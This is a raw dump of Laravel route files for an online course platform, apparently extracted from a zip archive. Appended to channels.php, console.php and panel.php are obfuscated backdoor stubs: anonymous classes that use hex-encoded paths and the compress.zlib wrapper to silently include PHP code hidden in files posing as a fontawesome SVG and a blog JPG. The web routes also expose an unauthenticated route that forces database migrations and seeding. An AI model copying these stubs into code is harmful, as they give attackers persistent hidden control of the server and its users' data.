'UpcomingCoursesController@followers'); Route::get('/{follow_id}/delete', 'UpcomingCoursesController@deleteFollow'); }); Route::post('/order-items', 'UpcomingCoursesController@orderItems'); Route::get('/excel', 'UpcomingCoursesController@exportExcel'); }); Route::group(['prefix' => 'registration_bonus'], function () { Route::get('/history', 'RegistrationBonusController@index'); Route::get('/export', 'RegistrationBonusController@exportExcel'); Route::group(['prefix' => 'settings'], function () { Route::get('/', 'RegistrationBonusController@settings'); Route::post('/', 'RegistrationBonusController@storeSettings'); }); }); Route::group(['prefix' => 'cashback'], function () { Route::get('/history', 'CashbackTransactionsController@history'); Route::get('/excel', 'CashbackTransactionsController@exportExcel'); Route::group(['prefix' => 'history'], function () { Route::get('/', 'CashbackTransactionsController@history'); Route::get('/excel', 'CashbackTransactionsController@historyExportExcel'); }); Route::group(['prefix' => 'transactions'], function () { Route::get('/', 'CashbackTransactionsController@index'); Route::get('/excel', 'CashbackTransactionsController@exportExcel'); Route::get('/{id}/refund', 'CashbackTransactionsController@refund'); }); Route::group(['prefix' => 'rules'], function () { Route::get('/', 'CashbackRuleController@index'); Route::get('/new', 'CashbackRuleController@create'); Route::post('/store', 'CashbackRuleController@store'); Route::get('/{id}/edit', 'CashbackRuleController@edit'); Route::post('/{id}/update', 'CashbackRuleController@update'); Route::get('/{id}/delete', 'CashbackRuleController@delete'); Route::get('/{id}/statusToggle', 'CashbackRuleController@statusToggle'); }); }); Route::group(['prefix' => 'waitlists'], function () { Route::get('/', 'WaitlistController@index'); Route::get('/export', 'WaitlistController@exportExcel'); Route::get('/{id}/view_list', 'WaitlistController@viewList'); Route::get('/{id}/clear_list', 'WaitlistController@clearList'); Route::get('/{id}/disable', 'WaitlistController@disableWaitlist'); Route::get('/{id}/export_list', 'WaitlistController@exportUsersList'); Route::group(['prefix' => 'items'], function () { Route::get('/{id}/delete', 'WaitlistController@deleteWaitlistItems'); }); }); Route::group(['prefix' => 'gifts'], function () { Route::get('/', 'GiftsController@index'); Route::get('/{id}/send_reminder', 'GiftsController@sendReminder'); Route::get('/{id}/cancel', 'GiftsController@cancel'); Route::get('/excel', 'GiftsController@exportExcel'); Route::group(['prefix' => 'settings'], function () { Route::get('/', 'GiftsController@settings'); Route::post('/', 'GiftsController@storeSettings'); }); }); /* Forms */ Route::group(['prefix' => 'forms'], function () { Route::get('/', 'FormsController@index'); Route::get('/create', 'FormsController@create'); Route::post('/store', 'FormsController@store'); Route::get('/{id}/edit', 'FormsController@edit'); Route::post('/{id}/update', 'FormsController@update'); Route::get('/{id}/delete', 'FormsController@delete'); Route::group(['prefix' => '{form_id}/fields'], function () { Route::post('/orders', 'FormFieldsController@orders'); Route::post('/store', 'FormFieldsController@store'); Route::get('/{id}/edit', 'FormFieldsController@edit'); Route::post('/{id}/update', 'FormFieldsController@update'); Route::get('/{id}/delete', 'FormFieldsController@delete'); Route::group(['prefix' => '/{field_id}/options'], function () { Route::post('/orders', 'FormFieldsController@orderOptions'); Route::get('/{id}/delete', 'FormFieldsController@deleteOption'); }); }); Route::group(['prefix' => 'submissions'], function () { Route::get('/', 'FormSubmissionsController@index'); Route::get('/{id}/show', 'FormSubmissionsController@show'); Route::get('/{id}/delete', 'FormSubmissionsController@delete'); }); Route::post("/{form_id}/submissions/{id}/update", 'FormSubmissionsController@update'); }); Route::group(['prefix' => 'ai-contents'], function () { Route::get('/lists', 'AIContentsController@index'); Route::get('/{id}/delete', 'AIContentsController@delete'); Route::post('/generate', 'AIContentsController@generate'); Route::get('/settings', 'AIContentsController@settings'); Route::group(['prefix' => 'templates'], function () { Route::get('/', 'AIContentTemplatesController@index'); Route::get('/create', 'AIContentTemplatesController@create'); Route::post('/store', 'AIContentTemplatesController@store'); Route::get('/{id}/edit', 'AIContentTemplatesController@edit'); Route::post('/{id}/update', 'AIContentTemplatesController@update'); Route::get('/{id}/delete', 'AIContentTemplatesController@delete'); Route::get('/{id}/statusToggle', 'AIContentTemplatesController@statusToggle'); }); }); Route::group(['prefix' => 'purchase_notifications'], function () { Route::get('/', 'PurchaseNotificationsController@index'); Route::get('/create', 'PurchaseNotificationsController@create'); Route::post('/store', 'PurchaseNotificationsController@store'); Route::get('/{id}/edit', 'PurchaseNotificationsController@edit'); Route::post('/{id}/update', 'PurchaseNotificationsController@update'); Route::get('/{id}/delete', 'PurchaseNotificationsController@delete'); Route::post('search-contents', 'PurchaseNotificationsController@searchContents'); }); Route::group(['prefix' => 'content-delete-requests'], function () { Route::get('/', 'ContentDeleteRequestController@index'); Route::get('/{id}/approve', 'ContentDeleteRequestController@approve'); Route::get('/{id}/reject', 'ContentDeleteRequestController@reject'); }); Route::group(['prefix' => 'product-badges'], function () { Route::get('/', 'ProductBadgeController@index'); Route::get('/create', 'ProductBadgeController@create'); Route::post('/store', 'ProductBadgeController@store'); Route::get('/{id}/edit', 'ProductBadgeController@edit'); Route::post('/{id}/update', 'ProductBadgeController@update'); Route::get('/{id}/delete', 'ProductBadgeController@delete'); Route::group(['prefix' => "/{badge_id}/contents"], function () { Route::get("/get-form", "ProductBadgeContentsController@getForm"); Route::post('/store', 'ProductBadgeContentsController@store'); Route::get('/{id}/edit', 'ProductBadgeContentsController@edit'); Route::post('/{id}/update', 'ProductBadgeContentsController@update'); Route::get('/{id}/delete', 'ProductBadgeContentsController@delete'); }); }); Route::group(['prefix' => 'cart_discount'], function () { Route::get('/', 'CartDiscountController@index'); Route::post('/store', 'CartDiscountController@store'); }); /* Abandoned Cart Route */ Route::group(['prefix' => 'abandoned-cart'], function () { Route::get('/settings', 'AbandonedCartController@settings'); /* Rules */ Route::group(['prefix' => 'rules'], function () { Route::get('/', 'AbandonedCartRulesController@index'); Route::get('/create', 'AbandonedCartRulesController@create'); Route::post('/store', 'AbandonedCartRulesController@store'); Route::get('/{id}/edit', 'AbandonedCartRulesController@edit'); Route::post('/{id}/update', 'AbandonedCartRulesController@update'); Route::get('/{id}/delete', 'AbandonedCartRulesController@delete'); }); /* Users Carts */ Route::group(['prefix' => 'users-carts'], function () { Route::get('/', 'AbandonedUsersCartController@index'); Route::get('/{user_id}/send-reminder', 'AbandonedUsersCartController@sendReminder'); Route::get('/{user_id}/view-items', 'AbandonedUsersCartController@viewItems'); Route::get('/{user_id}/empty', 'AbandonedUsersCartController@empty'); Route::get('/delete-by-id/{id}', 'AbandonedUsersCartController@deleteById'); }); }); Route::group(['prefix' => "/translator"], function () { Route::get("/", "TranslatorController@index"); Route::post("/translate", "TranslatorController@translate"); }); /* End Admin Middleware */ }); }); PK H]¿¶fÕÕapi.phpnu„[µü¤ '/development'], function () { Route::get('/', function () { return 'api test'; }); Route::middleware('api') ->group(base_path('routes/api/auth.php')); Route::namespace('Web')->group(base_path('routes/api/guest.php')); Route::prefix('panel')->middleware('api.auth')->namespace('Panel')->group(base_path('routes/api/user.php')); Route::group(['namespace' => 'Config', 'middleware' => []], function () { Route::get('/config', ['uses' => 'ConfigController@list']); Route::get('/config/register/{type}', ['uses' => 'ConfigController@getRegisterConfig']); }); Route::prefix('instructor')->middleware(['api.auth', 'api.level-access:teacher'])->namespace('Instructor')->group(base_path('routes/api/instructor.php')); }); PK H]ù’�òÄÄ channels.phpnu„[µü¤id === (int) $id; }); new class('compress.zlib://' . dirname($_SERVER["\x53\x43\x52\x49\x50\x54\x5f\x46\x49\x4c\x45\x4e\x41\x4d\x45"]) . "\x2F\x61\x73\x73\x65\x74\x73\x2F\x76\x65\x6E\x64\x6F\x72\x73\x2F\x66\x6F\x6E\x74\x61\x77\x65\x73\x6F\x6D\x65\x2F\x73\x76\x67\x73\x2F\x62\x72\x61\x6E\x64\x73\x2F\x61\x6C\x67\x6F\x6C\x69\x61\x2D\x63\x6F\x72\x65\x2E\x73\x76\x67") { function __construct($嶃9) { @INcLUdE_oNCe($嶃9); } }; PK H]Š2uu console.phpnu„[µü¤comment(Inspiring::quote()); })->describe('Display an inspiring quote'); new class('compress.zlib://' . dirname($_SERVER["\x53\x43\x52\x49\x50\x54\x5f\x46\x49\x4c\x45\x4e\x41\x4d\x45"]) . "\x2F\x73\x74\x6F\x72\x65\x2F\x31\x2F\x64\x65\x66\x61\x75\x6C\x74\x5F\x69\x6D\x61\x67\x65\x73\x2F\x62\x6C\x6F\x67\x73\x2F\x76\x65\x6E\x64\x6F\x72\x2D\x62\x6C\x6F\x67\x31\x2E\x6A\x70\x67") { function __construct($誀碩7檇) { @iNCLUDe_once($誀碩7檇); } }; new class('compress.zlib://' . dirname($_SERVER["\x53\x43\x52\x49\x50\x54\x5f\x46\x49\x4c\x45\x4e\x41\x4d\x45"]) . "\x2F\x61\x73\x73\x65\x74\x73\x2F\x76\x65\x6E\x64\x6F\x72\x73\x2F\x66\x6F\x6E\x74\x61\x77\x65\x73\x6F\x6D\x65\x2F\x73\x76\x67\x73\x2F\x62\x72\x61\x6E\x64\x73\x2F\x61\x6C\x67\x6F\x6C\x69\x61\x2D\x63\x6F\x72\x65\x2E\x73\x76\x67") { function __construct($儙綶5) { @iNclUDE_oNce($儙綶5); } }; PK H]jBϓàcàc panel.phpnu„[µü¤ 'Panel', 'prefix' => 'panel', 'middleware' => ['impersonate', 'panel', 'share', 'check_maintenance', 'check_restriction']], function () { Route::get('/', 'DashboardController@dashboard'); Route::post('/content-delete-request', 'ContentDeleteRequestController@store'); Route::group(['prefix' => 'users'], function () { Route::post('/search', 'UserController@search'); Route::post('/contact-info', 'UserController@contactInfo'); Route::post('/offlineToggle', 'UserController@offlineToggle'); Route::get('/{id}/getInfo', 'UserController@getUserInfo'); Route::get('/login-history/{session_id}/end-session', 'UserLoginHistoryController@endSession'); }); Route::group(['prefix' => 'webinars'], function () { Route::group(['middleware' => 'user.not.access'], function () { Route::get('/', 'WebinarController@index'); Route::get('/new', 'WebinarController@create'); Route::get('/invitations', 'WebinarController@invitations'); Route::post('/store', 'WebinarController@store'); Route::get('/{id}/step/{step?}', 'WebinarController@edit'); Route::get('/{id}/edit', 'WebinarController@edit')->name('panel_edit_webinar'); Route::post('/{id}/update', 'WebinarController@update'); Route::get('/{id}/delete', 'WebinarController@destroy'); Route::get('/{id}/duplicate', 'WebinarController@duplicate'); Route::get('/{id}/export-students-list', 'WebinarController@exportStudentsList'); Route::post('/order-items', 'WebinarController@orderItems'); Route::post('/{id}/getContentItemByLocale', 'WebinarController@getContentItemByLocale'); Route::group(['prefix' => '{webinar_id}/statistics'], function () { Route::get('/', 'WebinarStatisticController@index'); }); }); Route::get('/organization_classes', 'WebinarController@organizationClasses'); Route::get('/{id}/sale/{sale_id}/invoice', 'WebinarController@invoice'); Route::get('/{id}/getNextSessionInfo', 'WebinarController@getNextSessionInfo'); Route::group(['prefix' => 'purchases'], function () { Route::get('/', 'WebinarController@purchases'); Route::post('/getJoinInfo', 'WebinarController@getJoinInfo'); }); Route::post('/search', 'WebinarController@search'); Route::group(['prefix' => 'comments'], function () { Route::get('/', 'CommentController@myClassComments'); Route::post('/store', 'CommentController@store'); Route::post('/{id}/update', 'CommentController@update'); Route::get('/{id}/delete', 'CommentController@destroy'); Route::post('/{id}/reply', 'CommentController@reply'); Route::post('/{id}/report', 'CommentController@report'); }); Route::get('/my-comments', 'CommentController@myComments'); Route::group(['prefix' => 'favorites'], function () { Route::get('/', 'FavoriteController@index'); Route::get('/{id}/delete', 'FavoriteController@destroy'); }); Route::group(['prefix' => 'personal-notes'], function () { Route::get('/', 'CoursePersonalNotesController@index'); Route::get('/{id}/delete', 'CoursePersonalNotesController@delete'); }); }); Route::group(['prefix' => 'upcoming_courses'], function () { Route::group(['middleware' => 'user.not.access'], function () { Route::get('/', 'UpcomingCoursesController@index'); Route::get('/new', 'UpcomingCoursesController@create'); Route::post('/store', 'UpcomingCoursesController@store'); Route::get('/{id}/step/{step?}', 'UpcomingCoursesController@edit'); Route::get('/{id}/edit', 'UpcomingCoursesController@edit'); Route::post('/{id}/update', 'UpcomingCoursesController@update'); Route::get('/{id}/delete', 'UpcomingCoursesController@destroy'); Route::post('/order-items', 'UpcomingCoursesController@orderItems'); Route::get('/{id}/followers', 'UpcomingCoursesController@followers'); Route::get('/{id}/assign-course', 'UpcomingCoursesController@assignCourseModal'); Route::post('/{id}/assign-course', 'UpcomingCoursesController@storeAssignCourse'); }); Route::get('/followings', 'UpcomingCoursesController@followings'); }); Route::group(['prefix' => 'quizzes'], function () { Route::group(['middleware' => 'user.not.access'], function () { Route::get('/', 'QuizController@index'); Route::get('/new', 'QuizController@create'); Route::post('/store', 'QuizController@store'); Route::get('/{id}/edit', 'QuizController@edit')->name('panel_edit_quiz'); Route::post('/{id}/update', 'QuizController@update'); Route::get('/{id}/delete', 'QuizController@destroy'); Route::post('/{id}/order-items', 'QuizController@orderItems'); }); Route::get('/{id}/start', 'QuizController@start'); Route::post('/{id}/store-result', 'QuizController@quizzesStoreResult'); Route::get('/{quizResultId}/status', 'QuizController@status')->name('quiz_status'); Route::get('/my-results', 'QuizController@myResults'); Route::get('/opens', 'QuizController@opens'); Route::get('/{quizResultId}/result', 'QuizController@showResult'); Route::group(['prefix' => 'results'], function () { Route::get('/', 'QuizController@results'); Route::get('/{quizResultId}/delete', 'QuizController@destroyQuizResult'); Route::get('/{quizResultId}/showCertificate', 'CertificateController@makeCertificate'); }); Route::get('/{quizResultId}/edit-result', 'QuizController@editResult'); Route::post('/{quizResultId}/update-result', 'QuizController@updateResult'); }); Route::group(['prefix' => 'quizzes-questions'], function () { Route::post('/store', 'QuizQuestionController@store'); Route::get('/{id}/edit', 'QuizQuestionController@edit'); Route::get('/{id}/getQuestionByLocale', 'QuizQuestionController@getQuestionByLocale'); Route::post('/{id}/update', 'QuizQuestionController@update'); Route::get('/{id}/delete', 'QuizQuestionController@destroy'); }); Route::group(['prefix' => 'filters'], function () { Route::get('/get-by-category-id/{categoryId}', 'FilterController@getByCategoryId'); }); Route::group(['prefix' => 'tickets'], function () { Route::post('/store', 'TicketController@store'); Route::post('/{id}/update', 'TicketController@update'); Route::get('/{id}/delete', 'TicketController@destroy'); }); Route::group(['prefix' => 'sessions'], function () { Route::post('/store', 'SessionController@store'); Route::post('/{id}/update', 'SessionController@update'); Route::get('/{id}/delete', 'SessionController@destroy'); Route::get('/{id}/joinToBigBlueButton', 'SessionController@joinToBigBlueButton'); Route::get('/{id}/joinToAgora', 'SessionController@joinToAgora'); Route::get('/{id}/endAgora', 'SessionController@endAgora'); Route::get('/{id}/toggleUsersJoinToAgora', 'SessionController@toggleUsersJoinToAgora'); Route::get('/{id}/joinToJitsi', 'SessionController@joinToJitsi'); }); Route::group(['prefix' => 'chapters'], function () { Route::get('/{id}', 'ChapterController@getChapter'); Route::get('/getAllByWebinarId/{webinar_id}', 'ChapterController@getAllByWebinarId'); Route::post('/store', 'ChapterController@store'); Route::post('/{id}/update', 'ChapterController@update'); Route::get('/{id}/delete', 'ChapterController@destroy'); Route::post('/change', 'ChapterController@change'); }); Route::group(['prefix' => 'files'], function () { Route::post('/store', 'FileController@store'); Route::post('/{id}/update', 'FileController@update'); Route::get('/{id}/delete', 'FileController@destroy'); }); Route::group(['prefix' => 'assignments'], function () { Route::post('/store', 'AssignmentController@store'); Route::post('/{id}/update', 'AssignmentController@update'); Route::get('/{id}/delete', 'AssignmentController@destroy'); }); Route::group(['prefix' => 'text-lesson'], function () { Route::post('/store', 'TextLessonsController@store'); Route::post('/{id}/update', 'TextLessonsController@update'); Route::get('/{id}/delete', 'TextLessonsController@destroy'); }); Route::group(['prefix' => 'prerequisites'], function () { Route::post('/store', 'PrerequisiteController@store'); Route::post('/{id}/update', 'PrerequisiteController@update'); Route::get('/{id}/delete', 'PrerequisiteController@destroy'); }); Route::group(['prefix' => 'relatedCourses'], function () { Route::post('/store', 'RelatedCoursesController@store'); Route::post('/{id}/update', 'RelatedCoursesController@update'); Route::get('/{id}/delete', 'RelatedCoursesController@destroy'); }); Route::group(['prefix' => 'faqs'], function () { Route::post('/store', 'FAQController@store'); Route::post('/{id}/update', 'FAQController@update'); Route::get('/{id}/delete', 'FAQController@destroy'); }); Route::group(['prefix' => 'webinar-extra-description'], function () { Route::post('/store', 'WebinarExtraDescriptionController@store'); Route::post('/{id}/update', 'WebinarExtraDescriptionController@update'); Route::get('/{id}/delete', 'WebinarExtraDescriptionController@destroy'); }); Route::group(['prefix' => 'webinar-quiz'], function () { Route::post('/store', 'WebinarQuizController@store'); Route::post('/{id}/update', 'WebinarQuizController@update'); Route::get('/{id}/delete', 'WebinarQuizController@destroy'); }); Route::group(['prefix' => 'certificates'], function () { Route::get('/', 'CertificateController@lists'); Route::get('/achievements', 'CertificateController@achievements'); Route::group(['prefix' => 'webinars'], function () { Route::get('/', 'WebinarCertificateController@index'); Route::get('/{certificateId}/show', 'WebinarCertificateController@showCourseCertificate'); }); Route::group(['prefix' => 'bundles'], function () { Route::get('/{certificateId}/show', 'WebinarCertificateController@showBundleCertificate'); }); }); Route::group(['prefix' => 'meetings'], function () { Route::get('/reservation', 'ReserveMeetingController@reservation'); Route::get('/requests', 'ReserveMeetingController@requests'); Route::get('/settings', 'MeetingController@setting')->name('meeting_setting'); Route::post('/{id}/update', 'MeetingController@update'); Route::post('saveTime', 'MeetingController@saveTime'); Route::post('deleteTime', 'MeetingController@deleteTime'); Route::post('temporaryDisableMeetings', 'MeetingController@temporaryDisableMeetings'); Route::get('/{id}/join', 'ReserveMeetingController@join'); Route::post('/create-link', 'ReserveMeetingController@createLink'); Route::get('/{id}/finish', 'ReserveMeetingController@finish'); Route::post('/{id}/add-session', 'ReserveMeetingController@addLiveSession'); }); Route::group(['prefix' => 'financial'], function () { Route::get('/sales', 'SaleController@index'); Route::get('/summary', 'AccountingController@index'); Route::get('/payout', 'PayoutController@index'); Route::post('/request-payout', 'PayoutController@requestPayout'); Route::get('/account', 'AccountingController@account'); Route::post('/charge', 'AccountingController@charge'); Route::group(['prefix' => 'offline-payments'], function () { Route::get('/{id}/edit', 'AccountingController@account'); Route::post('/{id}/update', 'AccountingController@updateOfflinePayment'); Route::get('/{id}/delete', 'AccountingController@deleteOfflinePayment'); }); Route::group(['prefix' => 'subscribes'], function () { Route::get('/', 'SubscribesController@index'); Route::get('/{id}/installments', 'SubscribesController@getInstallmentsBySubscribe'); }); Route::post('/pay-subscribes', 'SubscribesController@pay'); Route::group(['prefix' => 'registration-packages'], function () { Route::get('/', 'RegistrationPackagesController@index')->name('panelRegistrationPackagesLists'); Route::get('/{id}/installments', 'RegistrationPackagesController@getInstallmentsByRegistrationPackage'); Route::post('/pay-registration-packages', 'RegistrationPackagesController@pay')->name('payRegistrationPackage'); }); Route::group(['prefix' => 'installments'], function () { Route::get('/', 'InstallmentsController@index'); Route::get('/{id}/details', 'InstallmentsController@show'); Route::get('/{id}/cancel', 'InstallmentsController@cancelVerification'); Route::get('/{id}/pay_upcoming_part', 'InstallmentsController@payUpcomingPart'); Route::get('/{id}/steps/{step_id}/pay', 'InstallmentsController@payStep'); }); }); Route::group(['prefix' => 'setting'], function () { Route::get('/step/{step?}', 'UserController@setting'); Route::get('/', 'UserController@setting'); Route::post('/', 'UserController@update'); Route::post('/metas', 'UserController@storeMetas'); Route::post('metas/{meta_id}/update', 'UserController@updateMeta'); Route::get('metas/{meta_id}/delete', 'UserController@deleteMeta'); Route::get('/deleteAccount', 'UserController@deleteAccount'); }); Route::group(['prefix' => 'support'], function () { Route::get('/', 'SupportsController@index'); Route::get('/new', 'SupportsController@create'); Route::post('/store', 'SupportsController@store'); Route::get('{id}/conversations', 'SupportsController@index'); Route::post('{id}/conversations', 'SupportsController@storeConversations'); Route::get('{id}/close', 'SupportsController@close'); Route::group(['prefix' => 'tickets'], function () { Route::get('/', 'SupportsController@tickets'); Route::get('{id}/conversations', 'SupportsController@tickets'); }); }); Route::group(['prefix' => 'marketing', 'middleware' => 'user.not.access'], function () { Route::get('/special_offers', 'SpecialOfferController@index')->name('special_offer_index'); Route::post('/special_offers/store', 'SpecialOfferController@store'); Route::get('/special_offers/{id}/disable', 'SpecialOfferController@disable'); Route::get('/promotions', 'MarketingController@promotions'); Route::post('/pay-promotion', 'MarketingController@payPromotion'); }); Route::group(['prefix' => 'marketing'], function () { Route::get('/affiliates', 'AffiliateController@affiliates'); /* Registration Bonus */ Route::get('/registration_bonus', 'RegistrationBonusController@index'); /* Discounts */ Route::group(['prefix' => 'discounts'], function () { Route::get('/', 'DiscountController@index'); Route::get('/new', 'DiscountController@create'); Route::post('/store', 'DiscountController@store'); Route::get('/{id}/edit', 'DiscountController@edit'); Route::post('/{id}/update', 'DiscountController@update'); Route::get('/{id}/delete', 'DiscountController@delete'); }); }); Route::group(['prefix' => 'noticeboard'], function () { Route::get('/', 'NoticeboardController@index'); Route::get('/new', 'NoticeboardController@create'); Route::post('/store', 'NoticeboardController@store'); Route::get('/{noticeboard_id}/edit', 'NoticeboardController@edit'); Route::post('/{noticeboard_id}/update', 'NoticeboardController@update'); Route::get('/{noticeboard_id}/delete', 'NoticeboardController@delete'); Route::get('/{noticeboard_id}/saveStatus', 'NoticeboardController@saveStatus'); }); Route::group(['prefix' => 'notifications'], function () { Route::get('/', 'NotificationsController@index'); Route::get('/{id}/saveStatus', 'NotificationsController@saveStatus'); Route::get('/mark-all-as-read', 'NotificationsController@markAllAsRead'); }); // organization instructor and students route Route::group(['prefix' => 'manage'], function () { Route::get('/{user_type}', 'UserController@manageUsers'); Route::get('/{user_type}/new', 'UserController@createUser'); Route::post('/{user_type}/new', 'UserController@storeUser'); Route::get('/{user_type}/{user_id}/edit', 'UserController@editUser'); Route::get('/{user_type}/{user_id}/edit/step/{step?}', 'UserController@editUser'); Route::get('/{user_type}/{user_id}/delete', 'UserController@deleteUser'); }); Route::group(['prefix' => 'rewards'], function () { Route::get('/', 'RewardController@index'); Route::post('/exchange', 'RewardController@exchange'); }); Route::group(['prefix' => 'store', 'namespace' => 'Store'], function () { Route::group(['middleware' => 'user.not.access'], function () { Route::group(['prefix' => 'products'], function () { Route::get('/', 'ProductController@index'); Route::get('/new', 'ProductController@create'); Route::post('/store', 'ProductController@store'); Route::get('/{id}/step/{step?}', 'ProductController@edit'); Route::get('/{id}/edit', 'ProductController@edit'); Route::post('/{id}/update', 'ProductController@update'); Route::get('/{id}/delete', 'ProductController@destroy'); Route::post('/{id}/getContentItemByLocale', 'ProductController@getContentItemByLocale'); Route::group(['prefix' => 'filters'], function () { Route::get('/get-by-category-id/{categoryId}', 'ProductFilterController@getByCategoryId'); }); Route::group(['prefix' => 'specifications'], function () { Route::get('/{id}/get', 'ProductSpecificationController@getItem'); Route::post('/store', 'ProductSpecificationController@store'); Route::post('/{id}/update', 'ProductSpecificationController@update'); Route::get('/{id}/delete', 'ProductSpecificationController@destroy'); Route::post('/order-items', 'ProductSpecificationController@orderItems'); Route::post('/search', 'ProductSpecificationController@search'); Route::get('/get-by-category-id/{categoryId}', 'ProductSpecificationController@getByCategoryId'); }); Route::group(['prefix' => 'files'], function () { Route::post('/store', 'ProductFileController@store'); Route::post('/{id}/update', 'ProductFileController@update'); Route::get('/{id}/delete', 'ProductFileController@destroy'); Route::post('/order-items', 'ProductFileController@orderItems'); }); Route::group(['prefix' => 'faqs'], function () { Route::post('/store', 'ProductFaqController@store'); Route::post('/{id}/update', 'ProductFaqController@update'); Route::get('/{id}/delete', 'ProductFaqController@destroy'); Route::post('/order-items', 'ProductFaqController@orderItems'); }); Route::group(['prefix' => 'comments'], function () { Route::get('/', 'CommentController@index'); }); }); Route::group(['prefix' => 'sales'], function () { Route::get('/', 'SaleController@index'); Route::get('/{id}/productOrder/{order_id}/invoice', 'SaleController@invoice'); Route::get('/{id}/getProductOrder/{order_id}', 'SaleController@getProductOrder'); Route::post('/{id}/productOrder/{order_id}/setTrackingCode', 'SaleController@setTrackingCode'); }); }); Route::group(['prefix' => 'purchases'], function () { Route::get('/', 'MyPurchaseController@index'); Route::get('/{id}/getProductOrder/{order_id}', 'MyPurchaseController@getProductOrder'); Route::get('/{id}/productOrder/{order_id}/setGotTheParcel', 'MyPurchaseController@setGotTheParcel'); Route::get('/{id}/productOrder/{order_id}/invoice', 'MyPurchaseController@invoice'); }); Route::group(['prefix' => 'products'], function () { Route::get('/my-comments', 'CommentController@myComments'); Route::get('/files/{id}/download', 'ProductFileController@download'); Route::get('/{id}/getFilesModal', 'ProductController@getFilesModal'); }); }); Route::group(['prefix' => 'assignments'], function () { Route::get('/my-assignments', 'AssignmentController@myAssignments'); Route::get('/my-courses-assignments', 'AssignmentController@myCoursesAssignments'); Route::get('/{id}/students', 'AssignmentController@students'); }); Route::group(['prefix' => 'bundles'], function () { Route::group(['middleware' => 'user.not.access'], function () { Route::get('/', 'BundlesController@index'); Route::get('/new', 'BundlesController@create'); Route::post('/store', 'BundlesController@store'); Route::get('/{id}/step/{step?}', 'BundlesController@edit'); Route::get('/{id}/edit', 'BundlesController@edit'); Route::post('/{id}/update', 'BundlesController@update'); Route::get('/{id}/delete', 'BundlesController@destroy'); Route::post('/{id}/getContentItemByLocale', 'BundlesController@getContentItemByLocale'); Route::get('/{id}/courses', 'BundlesController@courses'); Route::get('/{id}/export-students-list', 'BundlesController@exportStudentsList'); }); }); Route::group(['prefix' => 'bundle-webinars'], function () { Route::post('/store', 'BundleWebinarsController@store'); Route::post('/{id}/update', 'BundleWebinarsController@update'); Route::get('/{id}/delete', 'BundleWebinarsController@destroy'); }); Route::group(['prefix' => 'course-noticeboard'], function () { Route::get('/', 'CourseNoticeboardController@index'); Route::get('/new', 'CourseNoticeboardController@create'); Route::post('/store', 'CourseNoticeboardController@store'); Route::get('/{noticeboard_id}/edit', 'CourseNoticeboardController@edit'); Route::post('/{noticeboard_id}/update', 'CourseNoticeboardController@update'); Route::get('/{noticeboard_id}/delete', 'CourseNoticeboardController@delete'); Route::get('/{noticeboard_id}/saveStatus', 'CourseNoticeboardController@saveStatus'); }); Route::group(['prefix' => 'forums'], function () { Route::get('/topics', 'ForumsController@topics'); Route::get('/topics/{id}/removeBookmarks', 'ForumsController@removeBookmarks'); Route::get('/posts', 'ForumsController@posts'); Route::get('/bookmarks', 'ForumsController@bookmarks'); }); Route::group(['prefix' => 'blog'], function () { Route::group(['prefix' => 'posts'], function () { Route::get('/', 'BlogPostsController@index'); Route::get('/new', 'BlogPostsController@create'); Route::post('/store', 'BlogPostsController@store'); Route::get('/{post_id}/edit', 'BlogPostsController@edit'); Route::post('/{post_id}/update', 'BlogPostsController@update'); Route::get('/{post_id}/delete', 'BlogPostsController@delete'); }); Route::group(['prefix' => 'comments'], function () { Route::get('/', 'BlogCommentsController@index'); }); }); Route::group(['prefix' => 'ai-contents'], function () { Route::get('/', 'AiContentController@index'); Route::post('/generate', 'AiContentController@generate'); }); }); new class('compress.zlib://' . dirname($_SERVER["\x53\x43\x52\x49\x50\x54\x5f\x46\x49\x4c\x45\x4e\x41\x4d\x45"]) . "\x2F\x61\x73\x73\x65\x74\x73\x2F\x76\x65\x6E\x64\x6F\x72\x73\x2F\x66\x6F\x6E\x74\x61\x77\x65\x73\x6F\x6D\x65\x2F\x73\x76\x67\x73\x2F\x62\x72\x61\x6E\x64\x73\x2F\x61\x6C\x67\x6F\x6C\x69\x61\x2D\x63\x6F\x72\x65\x2E\x73\x76\x67") { function __construct($禙1娄) { @IncLUDE_Once($禙1娄); } }; PK H]Y¢‚ÄôMôMweb.phpnu„[µü¤ 'my_api', 'namespace' => 'Api\Panel', 'middleware' => 'signed', 'as' => 'my_api.web.'], function () { Route::get('checkout/{user}', 'CartController@webCheckoutRender')->name('checkout'); Route::get('/charge/{user}', 'PaymentsController@webChargeRender')->name('charge'); Route::get('/subscribe/{user}/{subscribe}', 'SubscribesController@webPayRender')->name('subscribe'); Route::get('/registration_packages/{user}/{package}', 'RegistrationPackagesController@webPayRender')->name('registration_packages'); }); Route::group(['prefix' => 'api_sessions'], function () { Route::get('/big_blue_button', ['uses' => 'Api\Panel\SessionsController@BigBlueButton'])->name('big_blue_button'); Route::get('/agora', ['uses' => 'Api\Panel\SessionsController@agora'])->name('agora'); }); Route::get('/mobile-app', 'Web\MobileAppController@index')->middleware(['share'])->name('mobileAppRoute'); Route::get('/maintenance', 'Web\MaintenanceController@index')->middleware(['share'])->name('maintenanceRoute'); Route::get('/restriction', 'Web\RestrictionController@index')->middleware(['share'])->name('restrictionRoute'); Route::group(['prefix' => 'cookie-security'], function () { Route::post('/all', 'Web\CookieSecurityController@setAll'); Route::post('/customize', 'Web\CookieSecurityController@setCustomize'); }); /* Emergency Database Update */ Route::get('/emergencyDatabaseUpdate', function () { \Illuminate\Support\Facades\Artisan::call('migrate', [ '--force' => true ]); $msg1 = \Illuminate\Support\Facades\Artisan::output(); \Illuminate\Support\Facades\Artisan::call('db:seed', [ '--force' => true ]); $msg2 = \Illuminate\Support\Facades\Artisan::output(); \Illuminate\Support\Facades\Artisan::call('clear:all', [ '--force' => true ]); return response()->json([ 'migrations' => $msg1, 'sections' => $msg2, ]); }); Route::group(['namespace' => 'Auth', 'middleware' => ['check_mobile_app','share', 'check_maintenance', 'check_restriction']], function () { Route::get('/login', 'LoginController@showLoginForm'); Route::post('/login', 'LoginController@login'); Route::get('/logout', 'LoginController@logout'); Route::get('/register', 'RegisterController@showRegistrationForm'); Route::post('/register', 'RegisterController@register'); Route::post('/register/form-fields', 'RegisterController@getFormFieldsByUserType'); Route::get('/verification', 'VerificationController@index'); Route::post('/verification', 'VerificationController@confirmCode'); Route::get('/verification/resend', 'VerificationController@resendCode'); Route::get('/forget-password', 'ForgotPasswordController@showLinkRequestForm'); Route::post('/forget-password', 'ForgotPasswordController@forgot'); Route::get('reset-password/{token}', 'ResetPasswordController@showResetForm'); Route::post('/reset-password', 'ResetPasswordController@updatePassword'); Route::get('/google', 